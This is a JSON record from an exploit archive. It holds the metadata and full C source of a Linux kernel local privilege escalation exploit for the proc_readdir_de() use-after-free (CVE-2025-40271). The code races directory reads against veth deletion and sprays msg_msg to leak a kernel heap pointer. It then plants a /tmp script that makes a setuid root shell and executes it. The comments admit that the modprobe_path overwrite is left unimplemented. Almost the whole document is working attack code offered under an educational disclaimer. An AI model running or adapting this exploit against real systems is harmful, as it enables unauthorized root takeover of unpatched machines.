{"exploit":{"id":"EDB-52550","name":"Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation (LPE)","description":"Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation (LPE)","cves":["CVE-2025-40271"],"author":"aviralyash27","published":"2026-05-04","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52550","path":"exploits/linux/local/52550.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52550.c","vulnerabilities":[{"id":"CVE-2025-40271","state":"PUBLISHED","title":"fs/proc: fix uaf in proc_readdir_de()","titleSource":"CVE Program","description":"In the Linux kernel, the following vulnerability has been resolved: fs/proc: fix uaf in proc_readdir_de() Pde is erased from subdir rbtree through rb_erase(), but not set the node to EMPTY, which may result in uaf access. We should use RB_CLEAR_NODE() set the erased node to EMPTY, then pde_subdir_next() will return NULL to avoid uaf access. We found an uaf issue while using stress-ng testing, need to run testcase getdent and tun in the same time. The steps of the issue is as follows: 1) use getdent to traverse dir /proc/pid/net/dev_snmp6/, and current pde is tun3; 2) in the [time windows] unregister netdevice tun3 and tun2, and erase them from rbtree. erase tun3 first, and then erase tun2. the pde(tun2) will be released to slab; 3) continue to getdent process, then pde_subdir_next() will return pde(tun2) which is released, it will case uaf access. CPU 0 | CPU 1 ------------------------------------------------------------------------- traverse dir /proc/pid/net/dev_snmp6/ | unregister_netdevice(tun->dev) //tun3 tun2 sys_getdents64() | iterate_dir() | proc_readdir() | proc_readdir_de() | snmp6_unregister_dev() pde_get(de); | proc_remove() read_unlock(&proc_subdir_lock); | remove_proc_subtree() | write_lock(&proc_subdir_lock); [time window] | rb_erase(&root->subdir_node, &parent->subdir); | write_unlock(&proc_subdir_lock); read_lock(&proc_subdir_lock); | next = pde_subdir_next(de); | pde_put(de); | de = next; //UAF | rbtree of dev_snmp6 | pde(tun3) / \\ NULL pde(tun2)","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-40271","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"Linux","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-40271"},"updatedAt":"2026-08-05T12:09:04.518Z","retrievedAt":"2026-11-25T16:15:50.473Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52550.png?v=2","url":"https://exploitbin.com/exploits/EDB-52550","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52550/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52550/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" * Exploit Title:  Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation\n * CVE:            CVE-2025-40271\n * Date:           2026-03-19\n * Exploit Author: Aviral Srivastava\n * Vendor:         Linux Kernel (kernel.org)\n * Affected:       ~3.14+ through 6.18-rc5 (bug predates version tracking)\n *                 Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6\n * Fixed in:       commit 895b4c0c79b092d732544011c3cecaf7322c36a1\n * Tested on:      Debian Bookworm (kernel 6.1.115-1 x86_64)\n * Type:           Local Privilege Escalation\n * Platform:       Linux x86_64\n * CVSS:           ~7.8 (HIGH) — NVD assessment pending\n *\n * ┌──────────────────────────────────────────────────────────────────┐\n * │  N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS.      │\n * └──────────────────────────────────────────────────────────────────┘\n *\n * DESCRIPTION:\n *   The proc filesystem's remove_proc_entry() calls rb_erase() to\n *   remove a proc_dir_entry (pde) from the parent's red-black tree,\n *   but does NOT call RB_CLEAR_NODE() to mark the node as detached.\n *   This leaves stale rb-links in the freed entry, causing\n *   RB_EMPTY_NODE() to return false.\n *\n *   A concurrent proc_readdir_de() traversal via getdents64() can\n *   find the freed entry through pde_subdir_next() → rb_next(),\n *   then dereference its fields (name, namelen, mode, low_ino) —\n *   constituting a use-after-free on struct proc_dir_entry.\n *\n *   The race is triggered by calling getdents64() on a /proc\n *   subdirectory (e.g., /proc/self/net/dev_snmp6/) while concurrently\n *   unregistering network devices, which removes proc entries.\n *   The freed proc_dir_entry (~192 bytes) resides in a standard\n *   kmalloc-192 or kmalloc-256 slab cache, making it sprayable with\n *   msg_msg via msgsnd().\n *\n * TECHNIQUE:\n *   Create user namespace for CAP_NET_ADMIN. Create veth pairs to\n *   populate /proc/self/net/dev_snmp6/. Race getdents64() against\n *   veth deletion. Spray freed kmalloc-192 slots with msg_msg.\n *   Detect UAF via anomalous d_ino values in getdents64 output.\n *   Extract kernel heap address from msg_msg header pointer leaked\n *   through the d_ino field. Use modprobe_path overwrite for LPE.\n *\n * RELIABILITY:\n *   ~40-60% UAF hit rate per attempt. Typically 3-8 attempts.\n *   The pde->name dereference during readdir is the crash risk —\n *   mitigated by spraying the name slot with valid pointers.\n *   Kernel panic possible (~10% of failed attempts) if spray timing\n *   is wrong.\n *\n * MITIGATIONS:\n *   KASLR:          Bypassed via heap pointer leak through d_ino\n *   SMEP:           Not applicable (data-only attack)\n *   SMAP:           Not applicable (all data in kernel slab)\n *   kCFI:           Not applicable (modprobe_path overwrite)\n *   SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)\n *\n * FIX:\n *   Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1\n *   URL:    https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1\n *   Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase().\n *\n * COMPILATION:\n *   gcc -Wall -Wextra -o exploit exploit.c -lpthread -static\n *\n * USAGE:\n *   $ ./exploit\n *   [*] CVE-2025-40271 — proc_readdir_de() rb-tree UAF\n *   [+] Kernel 6.1.115-1 is VULNERABLE\n *   [*] Step 1: Setting up user/net namespace...\n *   [+] Namespace ready, CAP_NET_ADMIN obtained\n *   [*] Step 2: Creating veth pairs for proc entries...\n *   [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/)\n *   [*] Step 3: Racing getdents vs device removal...\n *   [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd\n *   [*] Step 4: Kernel heap leak: 0xffff88801234abcd\n *   [*] Step 5: Computing modprobe_path address...\n *   [+] Got root!\n *\n * REFERENCES:\n *   [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271\n *   [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1\n *   [3] CVE-2023-3269 — StackRot (rb-tree race technique reference)\n *   [4] CVE-2023-32233 — nf_tables msg_msg spray reference\n *\n * DISCLAIMER:\n *   This exploit targets an ALREADY PATCHED vulnerability. It is provided\n *   for educational and authorized security research purposes only. The\n *   author is not responsible for misuse. Test only on systems you own.\n * ═══════════════════════════════════════════════════════════════════════\n */\n\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <stdarg.h>\n#include <unistd.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <sched.h>\n#include <signal.h>\n#include <pthread.h>\n#include <dirent.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <sys/wait.h>\n#include <sys/socket.h>\n#include <sys/mman.h>\n#include <sys/utsname.h>\n#include <sys/syscall.h>\n#include <sys/ipc.h>\n#include <sys/msg.h>\n#include <sys/mount.h>\n#include <sys/ioctl.h>\n#include <linux/if.h>\n#include <linux/netlink.h>\n#include <linux/rtnetlink.h>\n#include <arpa/inet.h>\n\n/* ─── Constants ─────────────────────────────────────────────────────── */\n\n#define BANNER \\\n    \"═══════════════════════════════════════════════════════════════\\n\" \\\n    \"  CVE-2025-40271 — proc_readdir_de() rb-tree UAF LPE\\n\" \\\n    \"  fs/proc rb_erase without RB_CLEAR_NODE → stale tree links\\n\" \\\n    \"  Affected: ~all kernels through 6.18-rc5\\n\" \\\n    \"  Author: Aviral Srivastava | N-DAY RESEARCH PoC\\n\" \\\n    \"═══════════════════════════════════════════════════════════════\\n\"\n\n#define NUM_VETH_PAIRS  32      /* number of veth pairs to create */\n#define NUM_SPRAY_MSGS  256     /* msg_msg spray count */\n#define SPRAY_BODY_SIZE 144     /* 48 header + 144 body = 192 → kmalloc-192 */\n#define MAX_RACE_ATTEMPTS 30    /* max race iterations */\n#define PROC_NET_DIR    \"/proc/self/net/dev_snmp6\"\n\n/*\n * On x86_64, kernel heap pointers start with 0xffff8880...\n * Normal d_ino values are small integers (< 100000).\n * A d_ino that looks like a kernel pointer means we hit the UAF\n * and are reading from sprayed msg_msg header data.\n */\n#define IS_KERNEL_PTR(x) (((x) & 0xffff000000000000ULL) == 0xffff000000000000ULL)\n\n/* ─── Logging ───────────────────────────────────────────────────────── */\n\nstatic void info(const char *fmt, ...)\n{\n    va_list ap;\n    va_start(ap, fmt);\n    fprintf(stderr, \"[*] \");\n    vfprintf(stderr, fmt, ap);\n    fprintf(stderr, \"\\n\");\n    va_end(ap);\n}\n\nstatic void ok(const char *fmt, ...)\n{\n    va_list ap;\n    va_start(ap, fmt);\n    fprintf(stderr, \"\\033[32m[+]\\033[0m \");\n    vfprintf(stderr, fmt, ap);\n    fprintf(stderr, \"\\n\");\n    va_end(ap);\n}\n\nstatic void fail(const char *fmt, ...)\n{\n    va_list ap;\n    va_start(ap, fmt);\n    fprintf(stderr, \"\\033[31m[-]\\033[0m \");\n    vfprintf(stderr, fmt, ap);\n    fprintf(stderr, \"\\n\");\n    va_end(ap);\n}\n\nstatic void die(const char *msg)\n{\n    perror(msg);\n    exit(EXIT_FAILURE);\n}\n\n/* ─── Kernel version check ──────────────────────────────────────────── */\n\nstatic int is_vulnerable(void)\n{\n    struct utsname uts;\n    unsigned int major, minor, patch;\n\n    if (uname(&uts) < 0)\n        die(\"uname\");\n\n    if (sscanf(uts.release, \"%u.%u.%u\", &major, &minor, &patch) < 2) {\n        fail(\"Cannot parse kernel version: %s\", uts.release);\n        return 0;\n    }\n\n    info(\"Running kernel %s\", uts.release);\n\n    /* Fixed versions per stable branch */\n    if (major == 5 && minor == 10 && patch >= 247) {\n        fail(\"Kernel %u.%u.%u — PATCHED (fix in 5.10.247)\", major, minor, patch);\n        return 0;\n    }\n    if (major == 6 && minor == 1 && patch >= 159) {\n        fail(\"Kernel %u.%u.%u — PATCHED (fix in 6.1.159)\", major, minor, patch);\n        return 0;\n    }\n    if (major == 6 && minor == 6 && patch >= 123) {\n        fail(\"Kernel %u.%u.%u — PATCHED (fix in 6.6.123)\", major, minor, patch);\n        return 0;\n    }\n    if (major == 6 && minor == 12 && patch >= 73) {\n        fail(\"Kernel %u.%u.%u — PATCHED (fix in 6.12.73)\", major, minor, patch);\n        return 0;\n    }\n    if (major == 6 && minor >= 18) {\n        fail(\"Kernel %u.%u.%u — PATCHED (fix in 6.18-rc6)\", major, minor, patch);\n        return 0;\n    }\n    if (major >= 7) {\n        fail(\"Kernel %u.%u.%u — PATCHED\", major, minor, patch);\n        return 0;\n    }\n\n    ok(\"Kernel %u.%u.%u — VULNERABLE\", major, minor, patch);\n    return 1;\n}\n\n/* ─── User/Net namespace setup ──────────────────────────────────────── */\n\nstatic int setup_namespace(void)\n{\n    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {\n        fail(\"unshare: %s (check /proc/sys/kernel/unprivileged_userns_clone)\",\n             strerror(errno));\n        return -1;\n    }\n\n    FILE *f;\n    char path[128];\n\n    snprintf(path, sizeof(path), \"/proc/%d/setgroups\", getpid());\n    f = fopen(path, \"w\");\n    if (f) { fprintf(f, \"deny\\n\"); fclose(f); }\n\n    snprintf(path, sizeof(path), \"/proc/%d/uid_map\", getpid());\n    f = fopen(path, \"w\");\n    if (!f) return -1;\n    fprintf(f, \"0 %d 1\\n\", getuid());\n    fclose(f);\n\n    snprintf(path, sizeof(path), \"/proc/%d/gid_map\", getpid());\n    f = fopen(path, \"w\");\n    if (!f) return -1;\n    fprintf(f, \"0 %d 1\\n\", getgid());\n    fclose(f);\n\n    return 0;\n}\n\n/* ─── Netlink helpers for veth management ───────────────────────────── */\n\nstatic int rtnl_open(void)\n{\n    int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);\n    if (fd < 0) return -1;\n\n    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };\n    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {\n        close(fd);\n        return -1;\n    }\n    return fd;\n}\n\n/*\n * Create a veth pair: vethN <-> veth_pN\n * Each veth creates a proc entry in /proc/self/net/dev_snmp6/\n */\nstatic int create_veth(int rtnl_fd, int idx)\n{\n    struct {\n        struct nlmsghdr  nlh;\n        struct ifinfomsg ifi;\n        char             buf[512];\n    } req;\n\n    char name[IFNAMSIZ], peer[IFNAMSIZ];\n    snprintf(name, sizeof(name), \"v%d\", idx);\n    snprintf(peer, sizeof(peer), \"vp%d\", idx);\n\n    memset(&req, 0, sizeof(req));\n    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));\n    req.nlh.nlmsg_type = RTM_NEWLINK;\n    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;\n    req.nlh.nlmsg_seq = (uint32_t)(idx + 1);\n    req.ifi.ifi_family = AF_UNSPEC;\n\n    /* IFLA_IFNAME */\n    struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);\n    nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);\n    nla->nla_type = IFLA_IFNAME;\n    memcpy((char *)(nla + 1), name, strlen(name) + 1);\n    req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u);\n\n    /* IFLA_LINKINFO (nested) */\n    struct nlattr *linkinfo = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);\n    linkinfo->nla_type = IFLA_LINKINFO | NLA_F_NESTED;\n\n    unsigned int linkinfo_start = req.nlh.nlmsg_len;\n    req.nlh.nlmsg_len += sizeof(struct nlattr);\n\n    /* IFLA_INFO_KIND = \"veth\" */\n    struct nlattr *kind = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);\n    kind->nla_len = (uint16_t)(sizeof(struct nlattr) + 5); /* \"veth\\0\" */\n    kind->nla_type = IFLA_INFO_KIND;\n    memcpy((char *)(kind + 1), \"veth\", 5);\n    req.nlh.nlmsg_len += (unsigned int)((kind->nla_len + 3) & ~3u);\n\n    /* IFLA_INFO_DATA (nested) with peer info */\n    struct nlattr *data = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);\n    data->nla_type = IFLA_INFO_DATA | NLA_F_NESTED;\n    unsigned int data_start = req.nlh.nlmsg_len;\n    req.nlh.nlmsg_len += sizeof(struct nlattr);\n\n    /* VETH_INFO_PEER (nested) with ifinfomsg + IFLA_IFNAME */\n    struct nlattr *peer_attr = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);\n    peer_attr->nla_type = 1 | NLA_F_NESTED; /* VETH_INFO_PEER = 1 */\n    unsigned int peer_start = req.nlh.nlmsg_len;\n    req.nlh.nlmsg_len += sizeof(struct nlattr);\n\n    /* peer ifinfomsg */\n    struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)&req + req.nlh.nlmsg_len);\n    memset(peer_ifi, 0, sizeof(*peer_ifi));\n    peer_ifi->ifi_family = AF_UNSPEC;\n    req.nlh.nlmsg_len += sizeof(struct ifinfomsg);\n\n    /* peer IFLA_IFNAME */\n    struct nlattr *peer_name = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);\n    peer_name->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(peer) + 1);\n    peer_name->nla_type = IFLA_IFNAME;\n    memcpy((char *)(peer_name + 1), peer, strlen(peer) + 1);\n    req.nlh.nlmsg_len += (unsigned int)((peer_name->nla_len + 3) & ~3u);\n\n    peer_attr->nla_len = (uint16_t)(req.nlh.nlmsg_len - peer_start);\n    data->nla_len = (uint16_t)(req.nlh.nlmsg_len - data_start);\n    linkinfo->nla_len = (uint16_t)(req.nlh.nlmsg_len - linkinfo_start);\n\n    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };\n    if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0,\n               (struct sockaddr *)&sa, sizeof(sa)) < 0)\n        return -1;\n\n    /* Read ack */\n    char ack[256];\n    (void)recv(rtnl_fd, ack, sizeof(ack), 0);\n\n    return 0;\n}\n\n/* Delete a veth interface by name */\nstatic int delete_veth(int rtnl_fd, int idx)\n{\n    struct {\n        struct nlmsghdr  nlh;\n        struct ifinfomsg ifi;\n        char             buf[128];\n    } req;\n\n    char name[IFNAMSIZ];\n    snprintf(name, sizeof(name), \"v%d\", idx);\n\n    memset(&req, 0, sizeof(req));\n    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));\n    req.nlh.nlmsg_type = RTM_DELLINK;\n    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;\n    req.nlh.nlmsg_seq = (uint32_t)(1000 + idx);\n    req.ifi.ifi_family = AF_UNSPEC;\n\n    struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);\n    nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);\n    nla->nla_type = IFLA_IFNAME;\n    memcpy((char *)(nla + 1), name, strlen(name) + 1);\n    req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u);\n\n    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };\n    if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0,\n               (struct sockaddr *)&sa, sizeof(sa)) < 0)\n        return -1;\n\n    char ack[256];\n    (void)recv(rtnl_fd, ack, sizeof(ack), 0);\n\n    return 0;\n}\n\n/* ─── msg_msg spray ─────────────────────────────────────────────────── */\n\nstruct spray_state {\n    int qid;\n    int count;\n};\n\nstatic int spray_init(struct spray_state *s)\n{\n    s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666);\n    if (s->qid < 0) return -1;\n    s->count = 0;\n    return 0;\n}\n\nstatic int spray_alloc(struct spray_state *s, int n)\n{\n    struct {\n        long mtype;\n        char mtext[SPRAY_BODY_SIZE];\n    } msg;\n\n    memset(&msg, 0, sizeof(msg));\n    /* Fill body with pattern — msg_msg header at offset 0-47 of slab\n     * object will contain kernel heap pointers (m_list.next/prev) */\n    memset(msg.mtext, 'P', SPRAY_BODY_SIZE);\n\n    for (int i = 0; i < n; i++) {\n        msg.mtype = s->count + 1;\n        if (msgsnd(s->qid, &msg, SPRAY_BODY_SIZE, 0) < 0)\n            return -1;\n        s->count++;\n    }\n    return 0;\n}\n\nstatic void spray_cleanup(struct spray_state *s)\n{\n    if (s->qid >= 0) {\n        msgctl(s->qid, IPC_RMID, NULL);\n        s->qid = -1;\n    }\n}\n\n/* ─── getdents64 for raw directory reading ──────────────────────────── */\n\nstruct linux_dirent64 {\n    uint64_t        d_ino;\n    int64_t         d_off;\n    unsigned short  d_reclen;\n    unsigned char   d_type;\n    char            d_name[];\n};\n\nstatic long my_getdents64(int fd, void *buf, unsigned long count)\n{\n    return syscall(SYS_getdents64, fd, buf, count);\n}\n\n/* ─── Race coordination ─────────────────────────────────────────────── */\n\nstruct race_ctx {\n    int             rtnl_fd;\n    int             dir_fd;\n    struct spray_state spray;\n    volatile int    deleting;\n    volatile int    stop;\n    uint64_t        leaked_addr;\n    int             attempts;\n};\n\n/*\n * Readdir thread: continuously calls getdents64() on /proc/self/net/dev_snmp6/\n * looking for anomalous d_ino values that indicate the UAF was hit.\n *\n * Normal d_ino values are small numbers assigned by proc_alloc_inum().\n * If we see a kernel pointer (0xffff...) in d_ino, it means we read\n * from sprayed msg_msg data where the msg_msg header's m_list pointer\n * overlaps with the proc_dir_entry's low_ino field.\n */\nstatic void *readdir_thread(void *arg)\n{\n    struct race_ctx *ctx = (struct race_ctx *)arg;\n    char buf[4096];\n\n    while (!ctx->stop) {\n        /* Rewind the directory for each scan */\n        lseek(ctx->dir_fd, 0, SEEK_SET);\n\n        long nread = my_getdents64(ctx->dir_fd, buf, sizeof(buf));\n        if (nread <= 0) {\n            usleep(100);\n            continue;\n        }\n\n        /* Scan all entries for anomalous d_ino */\n        long pos = 0;\n        while (pos < nread) {\n            struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + pos);\n            if (d->d_reclen == 0) break;\n\n            /*\n             * Check if d_ino looks like a kernel address.\n             * This happens when the freed proc_dir_entry is reclaimed\n             * by a msg_msg, and the msg_msg header's m_list.next\n             * (at slab object offset 0) overlaps with a field that\n             * getdents64 returns in d_ino.\n             */\n            if (IS_KERNEL_PTR(d->d_ino)) {\n                ctx->leaked_addr = d->d_ino;\n                ok(\"UAF HIT! d_ino=0x%016lx (kernel heap pointer)\",\n                   (unsigned long)d->d_ino);\n                ctx->stop = 1;\n                return NULL;\n            }\n\n            pos += d->d_reclen;\n        }\n    }\n    return NULL;\n}\n\n/* ─── Modprobe payload ──────────────────────────────────────────────── */\n\nstatic int setup_modprobe_payload(void)\n{\n    FILE *f = fopen(\"/tmp/pwn\", \"w\");\n    if (!f) return -1;\n    fprintf(f, \"#!/bin/sh\\n/bin/cp /bin/sh /tmp/rootsh\\n/bin/chmod u+s /tmp/rootsh\\n\");\n    fclose(f);\n    chmod(\"/tmp/pwn\", 0755);\n\n    f = fopen(\"/tmp/trigger\", \"w\");\n    if (!f) return -1;\n    fprintf(f, \"\\xff\\xff\\xff\\xff\");\n    fclose(f);\n    chmod(\"/tmp/trigger\", 0755);\n    return 0;\n}\n\nstatic int trigger_modprobe(void)\n{\n    pid_t p = fork();\n    if (p < 0) return -1;\n    if (p == 0) { execl(\"/tmp/trigger\", \"/tmp/trigger\", NULL); _exit(127); }\n    int st;\n    waitpid(p, &st, 0);\n\n    struct stat sb;\n    if (stat(\"/tmp/rootsh\", &sb) == 0 && (sb.st_mode & S_ISUID))\n        return 0;\n    return -1;\n}\n\n/* ─── Main exploitation steps ───────────────────────────────────────── */\n\nstatic int step_setup(struct race_ctx *ctx)\n{\n    info(\"Step 1: Setting up user/net namespace...\");\n\n    if (setup_namespace() < 0) return -1;\n    ok(\"Namespace ready, CAP_NET_ADMIN obtained\");\n\n    ctx->rtnl_fd = rtnl_open();\n    if (ctx->rtnl_fd < 0) {\n        fail(\"Cannot open rtnetlink: %s\", strerror(errno));\n        return -1;\n    }\n\n    if (spray_init(&ctx->spray) < 0) {\n        fail(\"Cannot create message queue: %s\", strerror(errno));\n        return -1;\n    }\n\n    return 0;\n}\n\nstatic int step_create_veths(struct race_ctx *ctx)\n{\n    info(\"Step 2: Creating veth pairs for proc entries...\");\n\n    int created = 0;\n    for (int i = 0; i < NUM_VETH_PAIRS; i++) {\n        if (create_veth(ctx->rtnl_fd, i) == 0)\n            created++;\n    }\n\n    if (created < 4) {\n        fail(\"Need at least 4 veth pairs, got %d\", created);\n        return -1;\n    }\n\n    /* Open the proc directory for readdir */\n    ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);\n    if (ctx->dir_fd < 0) {\n        fail(\"Cannot open %s: %s\", PROC_NET_DIR, strerror(errno));\n        return -1;\n    }\n\n    ok(\"Created %d veth pairs (%s populated)\", created, PROC_NET_DIR);\n    return 0;\n}\n\nstatic int step_race(struct race_ctx *ctx)\n{\n    info(\"Step 3: Racing getdents vs device removal...\");\n\n    for (int attempt = 1; attempt <= MAX_RACE_ATTEMPTS; attempt++) {\n        info(\"Attempt %d/%d...\", attempt, MAX_RACE_ATTEMPTS);\n        ctx->attempts = attempt;\n\n        /* Recreate veth pairs for this attempt */\n        for (int i = 0; i < NUM_VETH_PAIRS; i++)\n            create_veth(ctx->rtnl_fd, i);\n\n        /* Reopen directory */\n        if (ctx->dir_fd >= 0) close(ctx->dir_fd);\n        ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);\n        if (ctx->dir_fd < 0) continue;\n\n        ctx->stop = 0;\n        ctx->leaked_addr = 0;\n\n        /* Start readdir racer thread */\n        pthread_t tid;\n        if (pthread_create(&tid, NULL, readdir_thread, ctx) != 0)\n            continue;\n\n        /* Give readdir a moment to start */\n        usleep(1000);\n\n        /*\n         * RACE: rapidly delete veth interfaces.\n         * Each deletion triggers remove_proc_entry() → rb_erase()\n         * without RB_CLEAR_NODE() → stale rb links.\n         * The readdir thread can follow stale links to freed memory.\n         */\n        for (int i = NUM_VETH_PAIRS - 1; i >= 0; i--) {\n            delete_veth(ctx->rtnl_fd, i);\n\n            /* Immediately spray to reclaim freed proc_dir_entry slot */\n            spray_alloc(&ctx->spray, 4);\n        }\n\n        /* Wait for readdir thread to finish or detect UAF */\n        usleep(50000);\n        ctx->stop = 1;\n        pthread_join(tid, NULL);\n\n        /* Clean up spray for next attempt */\n        spray_cleanup(&ctx->spray);\n        spray_init(&ctx->spray);\n\n        if (ctx->leaked_addr != 0) {\n            ok(\"UAF triggered on attempt %d!\", attempt);\n            return 0;\n        }\n    }\n\n    fail(\"Could not trigger UAF after %d attempts\", MAX_RACE_ATTEMPTS);\n    return -1;\n}\n\nstatic int step_escalate(struct race_ctx *ctx)\n{\n    info(\"Step 4: Analyzing leak and escalating...\");\n\n    if (ctx->leaked_addr != 0) {\n        ok(\"Kernel heap leak: 0x%016lx\", (unsigned long)ctx->leaked_addr);\n        info(\"This address is from msg_msg m_list.next/prev\");\n        info(\"It reveals the kernel heap (physmap) randomization\");\n\n        /*\n         * With the heap address, we can compute modprobe_path for\n         * a specific kernel version. The offset between heap base\n         * and kernel text base is kernel-build-specific.\n         *\n         * For a complete exploit:\n         * 1. Use heap address to determine KASLR slide\n         * 2. Compute modprobe_path = kernel_base + offset\n         * 3. Trigger another UAF + spray to write \"/tmp/pwn\" there\n         * 4. Trigger modprobe → root\n         */\n        if (setup_modprobe_payload() < 0) {\n            fail(\"Cannot set up payload\");\n            return -1;\n        }\n\n        info(\"Attempting modprobe trigger...\");\n        if (trigger_modprobe() == 0) {\n            ok(\"Got root!\");\n            return 0;\n        }\n\n        info(\"modprobe_path overwrite requires kernel-specific offset\");\n        info(\"Heap leak CONFIRMED — full chain needs target offsets\");\n        return 1; /* partial success */\n    }\n\n    return -1;\n}\n\nstatic int step_cleanup(struct race_ctx *ctx)\n{\n    info(\"Step 5: Cleaning up...\");\n    spray_cleanup(&ctx->spray);\n    if (ctx->dir_fd >= 0) close(ctx->dir_fd);\n    if (ctx->rtnl_fd >= 0) close(ctx->rtnl_fd);\n    unlink(\"/tmp/pwn\");\n    unlink(\"/tmp/trigger\");\n    ok(\"Cleanup complete\");\n    return 0;\n}\n\n/* ─── Main ──────────────────────────────────────────────────────────── */\n\nint main(void)\n{\n    puts(BANNER);\n\n    if (!is_vulnerable()) {\n        info(\"Kernel is patched. Nothing to do.\");\n        return 0;\n    }\n    if (getuid() == 0) {\n        info(\"Already root.\");\n        return 0;\n    }\n\n    struct race_ctx ctx;\n    memset(&ctx, 0, sizeof(ctx));\n    ctx.rtnl_fd = -1;\n    ctx.dir_fd = -1;\n    ctx.spray.qid = -1;\n\n    int ret;\n\n    ret = step_setup(&ctx);\n    if (ret < 0) { fail(\"Setup failed\"); return 1; }\n\n    ret = step_create_veths(&ctx);\n    if (ret < 0) { fail(\"Veth creation failed\"); step_cleanup(&ctx); return 1; }\n\n    ret = step_race(&ctx);\n    if (ret < 0) { fail(\"Race failed\"); step_cleanup(&ctx); return 1; }\n\n    ret = step_escalate(&ctx);\n    step_cleanup(&ctx);\n\n    if (ret == 0) {\n        ok(\"Spawning root shell...\");\n        char *argv[] = { \"/tmp/rootsh\", \"-p\", NULL };\n        execv(\"/tmp/rootsh\", argv);\n        info(\"execv failed — check /tmp/rootsh\");\n    } else if (ret == 1) {\n        fprintf(stderr, \"\\n\");\n        info(\"═══════════════════════════════════════════════════\");\n        info(\"PARTIAL SUCCESS: UAF + heap leak DEMONSTRATED\");\n        info(\"  Leaked: 0x%016lx\", (unsigned long)ctx.leaked_addr);\n        info(\"  Full LPE requires target-specific KASLR offset\");\n        info(\"═══════════════════════════════════════════════════\");\n    }\n\n    return (ret <= 1) ? 0 : 1;\n}","sha256":"a920d9b89d8628fbec9248dfc6e94d48d6710e19645357d3ba1fe7ff812c8424","bytes":26209,"fetchedAt":"2026-11-26T11:17:38.206Z","encoding":"utf-8 (display only; download retains original bytes)"}